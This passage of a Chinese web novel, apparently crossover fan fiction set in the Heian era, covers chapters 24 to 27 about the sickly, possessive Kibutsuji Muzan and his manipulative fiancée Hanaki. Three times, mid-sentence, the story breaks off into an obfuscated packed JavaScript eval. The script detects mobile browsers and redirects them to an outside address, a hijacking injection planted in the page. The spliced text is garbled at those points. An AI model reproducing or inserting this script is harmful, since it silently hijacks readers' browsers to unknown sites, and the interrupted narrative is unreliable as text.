鬼舞辻无惨咬牙切齿道,声音听起来有几分阴测测的。 花纪不以为意,而是用双手拢住鬼舞辻无惨冰凉的手掌,“你的手好冷。” 手掌被温热的双手紧紧包裹,光滑细腻的触感通过接触的地方传遍鬼舞辻无惨的全身,比把玩那些珍贵的玉石时还要令人爱不释手。 他们的距离如此之近,鬼舞辻无惨的目光轻易就笼罩了花纪脸上的每一处细节。 美艳至极的五官,只是一眼就能给人留下挥之不去的惊艳印象,摄住全部心神,从此沦为最忠实的信徒。 就像那个时候偶然瞥得一眼的他一样。 身为橘氏长子,除了健康,没有什么鬼舞辻无惨难以得到的东西,而他也对健康以外的事物不感兴趣。 这是鬼舞辻无惨第一次打破了自己过往的规律。 而鬼舞辻无惨不觉得这有任何问题。他理应得到最好的东西,既然如此,如果要有未婚妻,那么未婚妻也该是最美的美人。 花纪又抚上鬼舞辻无惨的面颊,“你的脸也好冷。” 看来他这个未婚夫天生体质偏寒,以后就算是冬天,他也不能指望对方能给他暖和身体了。 “要不要把手放到我的衣服里暖暖?”花纪体贴问道。 鬼舞辻无惨惊得瞳孔一缩,顾不得留恋,匆忙把手抽离。 “不知廉耻!你怎么能随便让男人触碰衣袍里面!” 鬼舞辻无惨气的脸都要红了。他只要想想自己的未婚妻如此不合礼节,就禁不住怒从心中来,万一对方哪天也这样随便和其他外男接触怎么办?他这个未婚夫岂不是吃了大亏! “可你是我的未婚夫啊。” 花纪用手指撩了撩鬼舞辻无惨耳边的鬓发,声音从容又坦然:“只是肢体接触又没什么问题,而且等我们成婚之后,总会做更亲密的事,比起这个,其他的都不算什么了。” 虽然以病弱未婚夫的体质,更进一步的事根本做不到,不然未婚夫怕不是要死在床上。 说起来,他还从来没碰到会死在床上的对象呢。 鬼舞辻无惨脸色一阵青一阵红,伸手指着花纪,又一次开始咳了,咳到额角都冒虚汗。 花纪用手帕给鬼舞辻无惨擦汗,觉得这个未婚夫真是弱到惹人怜爱。 虽然性格也很差,不过没关系,反正对方活不了多久,他暂时忍忍,就当体验新乐趣了。 等侍女带着医生过来,又是把脉又是开药,一阵鸡飞狗跳之后,鬼舞辻无惨终于有了点力气。 鬼舞辻无惨抬眼看向花纪的脸,原本因为身体的痛苦而积攒的无数刻薄言语,如同被紧紧捆在袋子里的毒汁,现在是一滴也露不出来了。 那双氤氲着情意的美眸,如今正弯着眼睛注视他。 “怎么了?无惨。” 竟然还问他怎么了?花纪心里难道毫无自觉吗? 鬼舞辻无惨只觉得自己的未婚妻实在不懂眼色,虽然外表是世间绝无仅有的美丽,却一点也不擅长察言观色。 他这个未婚夫像一脚踩到陷阱而痛到死去活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711805|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,未婚妻竟然还问他怎样。 “花纪,难道你的母亲没教过你如何侍奉夫君吗?” 鬼舞辻无惨阴沉着俊美的面容,语气很差,已经到把“我很不爽”这几个字写到脸上的地步。 “是我做的不够好吗?” 花纪疑惑地微微歪头,随即落寞的垂下眼帘,“……既然无惨你不满意,我回去会和母亲商量退婚的事,放心,这是我的问题,不会有损你的名誉。” “……我说了这不是你的问题,是你的母亲没有好好教你,这是她的错。” 鬼舞辻无惨可没有多少对岳母的尊敬,甚至不认为对方配做他的岳父母,甩锅这种事更是毫无心理负担,总不能让他的婚事就此泡汤吧? 总归说是大江友惠的错,总好过说是花纪的错,鬼舞辻无惨勉强从脑海扒拉出花纪母亲的名字。 反正为了攀上橘氏,大江家的人知道该怎么做,也不会轻易让婚事告吹,问题就是如何不让花纪抵触这门亲事。 花纪叹了口气,“你这么说母亲会伤心的。” 注意到鬼舞辻无惨眉眼间的倦意,花纪扶着他躺到床上,替他掖了掖被角。 “睡一会吧,医生说过你需要多加休息。” 鬼舞辻无惨身体这么差,被病痛折磨的人很难拥有舒适的睡眠,眼下的青黑放在苍白的肤色上更是明显。 但在花纪离开之后,鬼舞辻无惨依旧无法入眠。 与身体的疲惫不同,他的大脑相当亢奋,以至于压下了睡意。 鬼舞辻无惨伸出右手,迷恋地嗅着上面残存的香气,那是花纪身上的味道,哪怕是屋子里的草药味也掩盖不了。 与常令人联想到腐朽的草药气味不同,这香味却让人产生无限遐想。 不仅是气味,花纪的声音同样如此。 鬼舞辻无惨特意找人打听过,就算花纪从不露面,偶尔出门都会将脸遮得严严实实,依旧会有人因为花纪身上的香味和声音而心悦于他,特意上门求婚。 因为花纪哪怕不露脸,仅是凭借其他的特征,都能让人确定他是个容貌出众的美人。 不过那些求婚的人都被大江慎吾拒之门外。因为大江慎吾认为那些人长相不够出色,家世不够出众,总之他都没有看上眼。不过这点也和花纪甚少外出有关,能够碰到的人也不够多。 鬼舞辻无惨也是出于偶然,瞥见了那张面纱之下的脸庞。 从此,未曾有过的欲求就这么扎根发芽,长出的荆棘毫不留情地捆住了鬼舞辻无惨的心脏。 于是当天从寺庙回去的晚上,鬼舞辻无惨就让人去打听花纪的身份,又马上让母亲替他提亲。 秋叶夫人听到花纪的出身时,就一度反对,奈何鬼舞辻无惨态度强硬,让爱子心切的秋叶夫人最终不得不妥协。 就连让花纪搬到橘氏,都是鬼舞辻无惨提出的要求。 在花纪离开的这天晚上,鬼舞辻无惨就做了个旖旎的梦。 早上,鬼舞辻无惨感受到了久违的黏腻。过去他心不在此,加上身体孱弱,甚少有这种体验,如今面对这种事竟有些陌生。 鬼舞辻无惨回过神来,脸色很是难看。 ……梦中的自己竟如发|情野兽般下|流不堪,实在有失体统。 更重要的是,鬼舞辻无惨无法接受自己会如此失控,他才该是这段感情的主人。 “咳、咳咳……” 早晨的喉咙干涩难受,鬼舞辻无惨忍不住咳了出来。身体的不受控制让他对比梦中有力的躯体,心情差得如同无数虫蚁啃噬心脏一样难受。 ……可恶,这么没用的身体,岂不是什么都做不了? 25.第 25 章 “花纪去哪了?” 被鬼舞辻无惨盯着的侍女背后一凉,顶着压力回答:“小姐昨天已经搬到了夫人准备的住处,或许舟车劳顿,现在还在休息。” 身为鬼舞辻无惨的侍女,她只需要照顾鬼舞辻无惨。但见到对方昨天对未婚妻的在意后,她总有预感,今天他会问到也说不定,因此特意找人打听了花纪的动向。 侍女小心问道:“需要我去请小姐过来吗?” “如果她有心,就该自己过来。” 虽然鬼舞辻无惨回答的硬气,但这不妨碍花纪今天真的没来后,他的脸色愈发苍白。若非他的胸膛尚有起伏,侍女几乎要将他当作一具能活动的尸体了。 太阳自黎明攀上高空,又缓缓西沉,没入黄昏。这个白天,花纪的身影一直没有出现。 “公子,您该休息了。”侍女不得不出声劝诫,不然鬼舞辻无惨要是生病倒下,倒霉的还是他们这些仆人。 日光已经稀薄,鬼舞辻无惨的身体蜷缩在阴影中,一时让人难以看清他脸上的表情。他的眼珠倏地一转朝向侍女,戾气十足的猩红眼珠如同在黑暗中突然现身的魑魅魍魉,惊得侍女下意识后退一步。 “我没说要休息。”鬼舞辻无惨的声音阴气十足,“难道需要你教我做事?” 侍女连忙跪地,心知无惨公子是因为未婚妻一天都没来而心情不佳。无论说什么话,都会倒霉的遇到无惨公子发泄怒气。 鬼舞辻无惨情绪剧烈起伏,即便还想苦等,身体终究支撑不住,不得不躺下休息了。 只是鬼舞辻无惨睡得也不安稳,就算多年来习惯了病魔的折磨,仍然无法无视病痛。 他像被温水煮熟的游鱼,明白身体不适时,已经无法判断是何时开始的了。身体仿佛坠落熔炉之中,烧得滚烫难忍,连脑髓都似要被蒸融,昏沉的头痛折磨着神经,将灵魂扎的遍体鳞伤。 好痛苦……好痛苦……痛苦痛苦痛苦………… 鬼舞辻无惨苍白的手死死抓住床单,因为太过用力,手背青色的血管微微凸起,犹如丑陋蜿蜒的疤痕,在这具饱受折磨的躯体上留下无法摆脱的痕迹。 如果是他讨厌的人,他可以折磨杀死,如果是他讨厌的物品,他可以尽情破坏。偏偏折磨他的是怎么也无法驱除的疾病,没有实质的形体,连发泄怒气的实体对象都没有。 泛着凉意的湿毛巾轻柔地擦拭额头,接着是裸露在外的颈部,擦去皮肤沁出的汗珠,一次又一次。体内的热火如同遇到春日的甘霖,不知不觉间被浇灭,滚烫的热意渐渐消失。 鬼舞辻无惨的意识慢慢回笼,在睁开眼帘获得视觉之前,他更先感受到的是徘徊在鼻翼的香气。 很难分辨是怎样的花香,因为鬼舞辻无惨从没有自由的赏花过。一到花季,随着弥漫的花香一同而来的还有花粉,这会让他脆弱的喉咙更加瘙痒,咳得几乎肺都要顺着喉管出来。 他一度因此讨厌那些簇拥着盛开的花,还命令侍从将那些花朵采下,扔到地上践踏的不成样子。只有这时,不得不被人搀扶,站在屋门遥望这一幕的他,拥堵的胸口才会感到一阵畅快的爽意。 然而现在与那时的心境截然不同。这些香气似乎能钻入他的血管,流入他的体内,以至于此时所思所想都是这香气的主人。 是花纪…… 无需视觉,凭借香气就足以判断。 鬼舞辻无惨的手甚至比掀开眼皮的动作还要快,想要抓住身边的人,正巧握住了花纪的手腕。 比起上次见面,现在体温偏高的人反而成了鬼舞辻无惨。 头部的阵痛袭击着鬼舞辻无惨,放大的艳丽脸庞撞入他的视野,让他几乎分不清现在究竟是梦境还是现实。 “……你白天去哪儿了?” 鬼舞辻无惨手指下意识用力,指节攥得发白,仿佛溺水的人抓住最后一根救生稻草那样用力。 为什么不来看他? 明明他们的住处距离那么近,只要花纪愿意,不需要花多久时间就能过来。 花纪有一双天生的桃花眸,很容易就给人似笑非笑的感觉,被注视着的人总能从这双紫色的眼眸中窥得情意。 有那么一瞬间,鬼舞辻无惨也产生了这种错觉,但花纪很快就打破了他的妄想。 “你不是知道吗?” 鬼舞辻无惨首先怀疑是不是侍女说漏了嘴,把他询问花纪去向的事告诉了本人。 花纪声音轻快,“看来我猜对了。” 鬼舞辻无惨没有否认事实,这只会让他显得更加狼狈,因此他只是抓住重点,“我是你的未婚夫。” 花纪应该以他这个未婚夫为主。 花纪不置可否,鬼舞辻无惨看着花纪重新将毛巾沾湿,轻柔地用湿毛巾浸湿他干裂的嘴唇,动作温柔的像是照顾心爱的丈夫。 可偏偏花纪总是说些让他生气的话。 鬼舞辻无惨很难遏制那些阴暗的想法,例如花纪不满意他这个未婚夫身体不好,希望他早登极乐,然后能换个新的未婚夫。 ……他偏不,就算他真的早死,花纪也该为他守身。 “是菜子找你来照顾我的?” 鬼舞辻无惨克制着语气,尽量不外露情绪,仿佛这样就能守住他垒起的尊严。 他的仆从总是换的很快,菜子倒是这批侍女里照顾他最久的,也是被他询问花纪去向的侍女。 “她确实打算过来找我。” 鬼舞辻无惨的薄唇几乎抿成一道直线,说到底花纪根本就没有惦记着他。 “不过在她动身找我之前,我就已经先过来了,正好碰到了她。” 花纪的视线很容易就捕捉到鬼舞辻无惨瞳孔的变化,靡丽又颓废的面孔一度卸下冰冷到将人拒之门外的伪装,将心中的错愕和惊喜泄露出来。 说起来,鬼舞辻无惨的长相完美符合平安京贵族们追求的审美,不仅如此,就连病怏怏的身体都符合追求物哀的风尚。 只是鬼舞辻无惨太弱了,这点和两面宿傩差远了。 就连外表,花纪也觉得还是两面宿傩更符合他的喜好,毕竟鬼舞辻无惨长得太像人了,他其实并没那么喜欢。 但花纪喜欢如今鬼舞辻无惨被疾病折磨的痛苦和表现出来的脆弱,还有皮囊之下如同滚烫的沸水般不断冒泡的晦暗心思,比那些浓墨重彩的油画还要令花纪眼前一亮。 花纪放缓了语速, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16717758|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你是我的未婚夫,我怎么可能不在意你呢?” 那你白天为什么不来? 要是真的喜欢他,怎么可能会不来? 鬼舞辻无惨自认有权有势,样貌极佳,如果硬要说缺点,那就只有身体不好这一点。 分明只要相信花纪的话就好了,这样就能产生幸福的错觉。但只要感受着身体是多么孱弱,鬼舞辻无惨就忍不住心生猜忌,患得患失,试图抓住花纪展现的漏洞。 只要想想花纪可能并不喜欢他,鬼舞辻无惨的心脏就仿佛浸泡毒液一样难受,迫切地将自身的痛苦化为言语之箭,让造成他痛苦的人感同身受。 花纪怎么能不喜欢他! 他对花纪一见钟情,主动提亲,可花纪竟然不喜欢他? 更让他难堪的,是明明自尊心如此受挫,他还自虐似的渴求花纪的关注,想要证明花纪对他哪怕有一丁点喜欢,而不是秉持高傲,不再去关注花纪。 难不成要他低声下气,花纪才肯满意吗? 花纪一看鬼舞辻无惨紧蹙的眉心,就知道对方又不高兴了。 无妨,反正鬼舞辻无惨总是不高兴,这很正常。至于不高兴的理由?鬼舞辻无惨那么小心眼,有的是不高兴的原因。 不过看在鬼舞辻无惨是个短命未婚夫的份上,花纪不介意多给予几分耐心,他也是真心喜爱未婚夫的病弱,为他提供了足够的情绪价值。 花纪刚要起身,鬼舞辻无惨立刻询问:“你要去哪?” “我再去叫一次医生。” 鬼舞辻无惨强硬道:“这种事让侍女做就好,你给我待在这。” 他又想提高音量,叫菜子进来,可刚叫出一个音节,喉咙就承受不住这股压力,又开始剧烈的咳嗽。 花纪见状,心领神会地呼唤了菜子的名字,又对鬼舞辻无惨说道。 “你怎么总是咳啊。” 花纪熟练地轻轻拍打鬼舞辻无惨的脊背,心中生起了与面对过去强大恋人时完全不同的怜爱之情。 好弱。 未婚夫真的好弱。 花纪从来没有过这么弱的未婚夫,哪怕只是名义上的。 他弱小得惹人怜爱,花纪总算是稍微理解了宠物狗的可爱之处。只需要有油光水滑的美丽皮毛就好,根本不指望对方能保护自己,重要的是情绪价值。 “不过不要紧,就算你身体这么差,我也会照顾好你的。” 急匆匆进门的菜子听到这一席话,脚步一个踉跄,差点摔倒在地。 哪怕菜子不是第一次听到类似的话,可她还是会心惊肉跳,生怕无惨公子当场发怒。 “毕竟我是你的未婚妻,照顾你是我的职责。” 鬼舞辻无惨冷哼一声,“你有这个自觉就好。” 令菜子意外的是,鬼舞辻无惨说完这句话后,竟然没有大动肝火。 看来无惨公子真的很喜欢这个未婚妻啊。 菜子忍不住偷偷抬眼,瞄了花纪一眼,觉得无惨公子会做出这么不符合性情的事也很正常。 毕竟她从来没见过像无惨公子未婚妻这样长相如此漂亮的人,她敢打保票,或许整个平安京也找不出第二个这样的人了。 26.第 26 章 鬼舞辻无惨是个喜欢口是心非的家伙。 不过花纪不讨厌他这副倔强的模样,因为只要自己愿意主动靠近,鬼舞辻无惨的身体总是比嘴巴要诚实,先一步背叛主人,反映出其真实想法。连那张刻薄毒辣的嘴巴,也显得别有一番趣味。 “我来了哦,无惨。” 花纪算准鬼舞辻无惨吃药的时间抵达,随即接过菜子端着的汤药,拿起汤勺舀了一勺,先是自己尝了一口,接着细眉不禁微微蹙起,“好苦。” 难喝到让花纪想起从前「父亲」炼制的魔药,而那些原材料都是最好不要深究的东西,否则就会失去喝下去的勇气。 只是那时的少年总会面带微笑,没有任何厌恶、听话地将那些液体一饮而尽。因为「父亲」说过,这都是为了家族的夙愿,抵达究极的根源之涡。 但花纪不同,坦然地将不喜的情绪表现在脸上。无可挑剔的美貌无论何时都展现得淋漓尽致,如同永不停歇的漩涡,将旁观者的视线卷入其中。 鬼舞辻无惨不愿别开眼睛,这样做只会无意义地缩减他能看到对方的时间。最终他只能像只被卷入漩涡的游鱼,勉强挣扎做出最后的抵抗,摆出有些嫌弃的表情,“药哪有不苦的?” 他的声音顿了顿,似乎是勉为其难地吩咐一旁的菜子,眼睛却动都没动,丝毫没有分给菜子半点余光,“把胶饴拿过来。” 胶饴是这个时代的麦芽糖,看鬼舞辻无惨习以为常的态度,显然是喝惯了这些苦涩的汤药,平时准备甜味的麦芽糖来化解味蕾的苦意。 “就算是好奇,你也没必要尝这个,味道不会好到哪去。” 鬼舞辻无惨淡淡道,哪怕菜子很快就利落地拿出胶饴,他却丝毫没有要拿一块的意思,只是用目光示意花纪这些他可以随便拿。 花纪只是瞥了眼那些看起来就在这个时代价值不菲的胶饴,随即收回视线,稍微抬高正端着的汤药,用轻柔的声线对鬼舞辻无惨说道。 “我只是想要试试烫不烫,现在温度刚好,无惨,你先吃药吧。” 黑发的美人拥有极为柔顺的长发,柔顺得能令梳齿毫无滞涩地滑至发梢,乌黑的光泽在阳光下仿佛闪着流动的光晕。因为两人近在咫尺的距离,这些比珍贵的丝绸还要无价的发丝就这么不经意间落到鬼舞辻无惨袖口之下纤瘦的手腕上,恍惚之间,鬼舞辻无惨竟有种触碰到蛛网的错觉。 而他不仅没有及时闪避,还愚蠢地主动抬起手腕,像是贪婪的盗贼抢夺财宝般抓住这些发丝,深入蛛网的中心,将自己送入蜘蛛的螯肢之下。 鬼舞辻无惨眼睁睁看着花纪美艳的脸上浮现温柔的表情,亲自舀起汤药送至自己的唇边,一勺又一勺,不厌其烦地喂他喝完整碗苦涩至极的汤药。而他就像没有神智的提线木偶,乖乖配合着花纪的一举一动。 即使舌尖的苦涩久久不去,但最令鬼舞辻无惨难忘的,果然还是第一口的味道。 口腔似乎还残留着比蜜水还要香甜的滋味,在接触味蕾的瞬间就征服了他,只剩下分泌唾液不断吞咽的本能,原本没有食欲的胃袋蠢蠢欲动,叫嚣着更多。哪怕后续尝到的只有最令他厌恶的汤药,可那熟悉的药味都不是那么难以忍受了。 甚至鬼舞辻无惨后续都没有注意自己吞下去的是什么,眼球似乎粘在了未婚妻娇艳的柔软唇瓣上,樱花般的颜色让他回忆起曾经吃过的樱花和菓子,但他能肯定未婚妻唇间的气息绝对比那些都要甜美。 花纪拿出手帕,细心地替未婚夫擦去嘴角残留的药渍。放大的香气钻入鬼舞辻无惨的鼻尖,他下意识深吸一口气,香气立刻填充整个鼻腔,让他陶醉于其中。 好香。 纯粹的香气不会掺杂那些无孔不入的花粉,只会带来极致的享受,不会让他脆弱的呼吸道又经历一次折磨。 “喝药的时候要小心些呀。” 花纪的声音有些无奈,为未婚夫没有注意到嘴角流出的些许汤药而困扰。 “而且吃东西的时候走神可不是什么好习惯。” 花纪指尖掠过鬼舞辻无惨额前的碎发,尽管触感不及自己的发丝柔顺,但花纪却喜欢上了这么做。 替宠物狗打理毛发也是好主人必做的事情之一,可惜在这里除了系统外没有什么人能和他交流养狗心得。 唉,什么时候系统能告诉他真名呢?遮遮掩掩的只能说明有不可告人的秘密。 温柔,体贴,耐心——这些特质完美符合了一个优秀未婚妻必备的标准。然而鬼舞辻无惨却觉得花纪还缺少了一些不可或缺的东西。 “我要走了,无惨,要遵照医师的嘱咐,好好休养身体。” 未婚妻已经离开了,鬼舞辻无惨只能依靠残留于房间的香味填补身体的空缺。在侍从们都离开后,将窗户和门扉关的严严实实,俯下身体深深呼吸着这股味道,又一次开始默默记数着时间。 只有在他要吃药的时候,花纪才会过来。但花纪不会亲自煎药,只会拿过侍女煎好的汤药,喂他把这些汤药喝得干干净净。 鬼舞辻无惨曾经不止一次将这些汤药打翻在地,即便喝了这些废物医师开的药,他的病依然毫无起色。 可他又不能不喝,因为他想活下去,哪怕这副破败不堪的身躯在生死界限中挣扎,他也要活下去,忍着厌恶的心情将这些苦涩又不知道用处的汤药通通喝掉。 侍女们都习惯了他这副做派,熬药时也会多准备一副,好在他大发脾气打翻汤药后及时端上来第二碗。 但这点在花纪来了之后都改变了。 鬼舞辻无惨从来不会在未婚妻面前露出歇斯底里的丑态,而出于迁怒打翻汤药也是其中之一。 过去他不在意伺候的下人怎么想,在他眼里,那些下人都不算人。现在却莫名不想让未婚妻也产生那些想法,因为他这辈子都不会有第二个未婚妻。 鬼舞辻无惨的未婚妻只会有一个,同样,花纪的未婚夫也只能有一个。 他们必须在一起,也只会在一起,不会有其他的选项。 鬼舞辻无惨不喜欢喝药,这只会让他想起难堪的处境,以及这副永远摆脱不了的病躯。但现在他却期待起吃药的时间,只有这个时候花纪会来。 哪怕他们的住处离得很近,这是鬼舞辻无惨特意嘱咐母亲做出的安排,但花纪除了他喝药的时候从来不会主动过来。 偶尔鬼舞辻无惨会觉得,这座宅邸和无力的身躯就是困住他的笼子,他只能待在床榻上等待未婚妻的探望,却无法逃离这笼子,抓住未婚妻。 这会让他有种浓浓的不安感,疑窦常常盘踞在他的大脑,让他变成一条只会怀疑的蛇,焦虑地吐着蛇信,怀疑一切花纪可能会远离他的因素。 如果可以,鬼舞辻无惨真想变成一条巨大的蟒蛇,这样就能用蛇躯紧紧绞住花纪,让对方再也无法远离他,用庞大的蛇躯贴合在花纪细滑的肌肤上。 他真想像蛇一样一口吞下花纪,这样花纪就会永远属于他,也永远无法摆脱他,更不会离开他。 花纪总说他的身体很冷,就像蛇类一样。还用惋惜的表情对他说,可惜他没有蛇一样美丽的鳞片。 鬼舞辻无惨明白了,花纪喜欢蛇。 要是他能变成一条蛇就好了,紧紧缠住花纪,让花纪的目光一直落在他的身上。 这些阴暗又病态的想法,在他看到花纪时就会疯狂增长,看不到时也会扭曲壮大。 一切的苗头在他看到花纪的第一眼就已经注定了。 人总是会喜欢美丽的事物,而花纪的美,本身就足够定义美丽这个词汇。 无论当时花纪同不同意,喜不喜欢,鬼舞辻无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724613|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惨都决心要将这桩婚事变成事实,他不会给花纪拒绝的机会。 又快到喝药的时间了。 鬼舞辻无惨放任名为欢喜的怪物占据他的心脏。这种时候,他仿佛像健康人一样,心脏在有力的跳动。 扑通,扑通,扑通…… 他的心脏在跳。 原来心脏跳动是那么令人高兴,心脏好像化为了不断膨胀的黑洞,等待梦寐以求的身影到来时可以尽情吞没对方。 花纪又离开了。 黑洞又在不断膨胀,永不知足地想要更多,可是能填满它的人已经离开了。 鬼舞辻无惨无法让已经变成黑洞的心脏停下,他的身体总是喜欢背叛他的尊严,将他的高傲挤到一边,缩到一个小小的角落。 “小姐去哪了?” 鬼舞辻无惨的声音犹如实质的冰块,贴到菜子的灵魂上,冷得令她打了个寒战,硬着头皮回答。 “小姐没有外出,正在屋里看书。” 菜子熟练地把那些书名一个个报了出来,亲眼见证鬼舞辻无惨的脸色阴晴不定,她以前从来没见过对方表情能这么善变。 “她又在关注安倍晴明了。” 安倍晴明,总是安倍晴明。 还有芦屋道满……这些阴阳师的名字,总是阴魂不散地出现在他的面前。 花纪就这么关注这些阴阳师吗? 菜子恭敬垂首,不敢再看鬼舞辻无惨的脸。生怕对方注意到她,觉得她看到不该看的而让她永远闭嘴。 无惨公子自从有了未婚妻后,比以前更加神经质了。 当天晚上,鬼舞辻无惨就被气得病情加重了。 甚至就连医师都表示鬼舞辻无惨未必能挺过这两天,哪怕侍从们已经习惯鬼舞辻无惨动不动就病危,依旧不敢大意。 菜子犹豫片刻,还是去请花纪过来照顾鬼舞辻无惨,表示无惨公子离不开未婚妻的照顾。 可花纪还是拒绝了,而且这已经不是第一次了。 无论鬼舞辻无惨的母亲秋叶夫人怎么想,花纪依旧我行我素。 菜子欲言又止,虽然不理解花纪的做法,却也明白花纪有让秋叶夫人打消怒气的本事。她听过传言,秋叶夫人只要一看到花纪的脸,膨胀的怒意就像被戳破的,倏地不知道丢到了哪里,消失的无影无踪。 不过菜子还是想不通,花纪勤心勤力每天照顾无惨公子按时吃药,却不肯在无惨公子病重生命垂危的时候照看,实在奇怪极了。 [那个家伙的侍女又来催你了。] 系统的声音很克制,平淡又机械,听不出明显的情绪。不过祂坚持不肯称呼鬼舞辻无惨为花纪的未婚夫,认为一旦这么说会有损王后的名誉。 无论鬼舞辻无惨未来会怎样,现在的他都还太弱了。 [我不去的话,等无惨活下来后肯定会埋怨我。] 写有文字的卷轴摊开摆放在矮桌上,花纪的视线停留在安倍晴明的名字上,像是遮掩不愿看见的东西,用手指盖住了这个名字。 [但如果我去,看到无惨的表情,虽然很喜欢,又会觉得他太可怜了……或许我会忍不住扼住他的喉咙,让他永远摆脱病痛的烦恼。] 祂几乎要沉迷于王后充满魅惑的笑容,还有那熠熠生辉的魔眼。 [毕竟对于喜爱的东西,我总会不吝惜给予爱意……大家想要的不就是这个吗?] 擅自爱上美丽之物,又用期盼的呼声乞求获得些微垂怜,如果满足就贪婪而不知廉耻的奢望更多爱意,如果无法满足就擅自心生不满,进而迸发恶意用各种举动满足自身的私愿。 无论怎么做,人类总是永不知足。 但没关系,花纪喜欢这样的人类。因欲望而沉沦,最后因此破碎的模样都非常值得一看,足够他满怀喜爱的去爱。 27.第 27 章 “好可怜。” 半梦半醒间,鬼舞辻无惨听到了来自未婚妻宛若幻梦般虚无缥缈的动听声音,夹杂着真情实意的怜悯,却有股高高在上的意味。 就像他的未婚妻本人一样,明艳动人,宛如燃烧的火焰,散发的热量足以将靠近的飞蛾燃烧殆尽,以至于看起来有些不近人情,难以接近。 “无惨挣扎活下去的样子真的好可怜……明明只要安心睡去,就不会有醒来的痛苦,为什么非要经历这些磨难呢。” “花纪大人……” 菜子嘴唇微动,委婉提醒花纪谨言慎行,无惨公子不知道什么时候就会醒来。 花纪垂眸,注视未婚夫紧闭的眼皮下微动的眼珠,适时地用食指蘸了蘸茶杯中的茶水,剔透的水珠在圆润的指腹上摇摇欲坠,食指又放在了鬼舞辻无惨干裂而失去血色的唇瓣上,轻轻揉了揉,水珠便浸透了这张总是喜欢口吐毒液的嘴唇。 鬼舞辻无惨的舌头无意识地舔舐牙齿,味蕾似乎已经品尝到近在咫尺的香气,让他下意识张开嘴唇,含住了花纪紧贴着的食指,顺从心意用湿热的口腔紧紧包裹住那根手指。 湿滑的舌头如同扭动的蛇,在纤细的手指上亲密爬行,留下湿漉漉的痕迹,又宛如婴儿吮吸母乳,发出黏腻的水声。原本光洁的手指闪着湿润的光泽,在光线的折射下犹如莹莹的琉璃。 花纪神情不变,含笑的眉眼依旧低垂,不仅没有收回手,反而宠溺孩子似的任由鬼舞辻无惨用唇舌玩弄自己的手指。语气落在菜子的耳中,带着一种说不出的古怪亲昵,“好乖好乖。” 菜子有些恍惚,觉得花纪大人此刻的神情,像极了秋叶夫人哄着品种名贵的小狗吃饭时的模样。只不过无论当时秋叶夫人多么喜欢那条小狗,后来也很快失去了兴致,将小狗丢到一边,最后送了人。 ……无惨公子应该不会像那条小狗一样被丢掉吧? 等鬼舞辻无惨清醒一些,意识到自己含着的是什么后,却不是后退,而是紧紧抿唇,禁锢住口中的食指,用这种方式阻止未婚妻抽出手指。 花纪感到自己的手指被有些咯人的唇齿牢牢咬住,对方却不失克制,没有让他感到痛意。现在他像一时兴起逗弄河蚌,伸进河蚌的内部触碰柔软的蚌肉,手指却被蚌壳夹住,偏偏对方好像是第一次这么做,笨拙的蚌壳没有夹断他的手指,反而恋恋不舍的挽留他。 可鬼舞辻无惨宛如红梅的眼眸紧盯他时的眼神,像是恨不得咬断他的手指咽到肚子里似的。连那张阴柔昳丽的脸庞都因为羞恼而浮起淡淡的潮红,在由于病痛而失去血色的脸颊上犹如雪地的红梅般显眼,向来在意面子的深闺大少爷,如今却露出难堪的痴态,这大概是鬼舞辻无惨难以接受的。 而菜子早就识趣地闪身退下,恨不得消失得越快越好,千万别引起鬼舞辻无惨的注意。 “我的手指有那么好吃吗?” 花纪真情实意地发出疑问,鬼舞辻无惨单薄的自尊就像被针刺破的白纸,眉眼阴郁地皱起,沉着脸松开了嘴。 抽离的食指拉出一道银亮的丝线,丝线的另一头则是鬼舞辻无惨总算有些血色的嘴唇,仿佛连接两人的红线,在空气中摇摇欲坠的颤动。 只是这道透明的丝线实在太脆弱了,在鬼舞辻无惨晦暗的眼神下无声地断裂,剩下的部分落到莹白的食指上,缓缓流到指根。 鬼舞辻无惨犹如蛰伏在暗处的毒蛇,总爱用阴冷的眼神漠然地注视那些走在阳光下的人。现在的他像是终于从阴影中爬出来的毒蛇,毒牙向前竖起,随时准备向猎物的体内注入毒液。 而黑发的美人泰然自若地迎着未婚夫足以吓破侍从的眼神,游刃有余地抬起食指凑近脸庞,接着用柔软的嘴唇含住那根手指。他像是感受糖果的味道,仔细用味蕾品尝了一会,喉咙才轻轻一动,咽下口中的液体。 “我不觉得自己的手指有什么好吃的。” 花纪点评道,唇角噙起笑意,漫不经心地抬眸,对怔在原地的未婚夫说道:“不过无惨在我来之前刚喝过药吧?有点苦呢。” 